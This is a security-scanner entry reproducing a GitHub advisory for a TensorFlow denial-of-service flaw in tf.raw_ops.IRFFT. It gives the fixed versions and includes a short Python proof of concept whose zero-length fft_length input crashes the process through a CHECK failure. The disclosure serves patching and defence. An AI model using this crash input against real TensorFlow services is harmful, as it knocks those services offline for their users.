QID 982487
QID 982487: Python (pip) Security Update for tensorflow-gpu (GHSA-36vm-xw34-x4pj)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.IRFFT`:
```python
import tensorflow as tf
values = [-10.0] * 130
values[0] = -9.999999999999995
inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)
inputs = tf.cast(inputs, dtype=tf.complex64)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)
```
The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- GHSA-36vm-xw34-x4pj -
github.com/advisories/GHSA-36vm-xw34-x4pj
CVEs related to QID 982487
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-36vm-xw34-x4pj | tensorflow |
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| GHSA-36vm-xw34-x4pj | tensorflow-cpu |
|
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| GHSA-36vm-xw34-x4pj | tensorflow-gpu |
|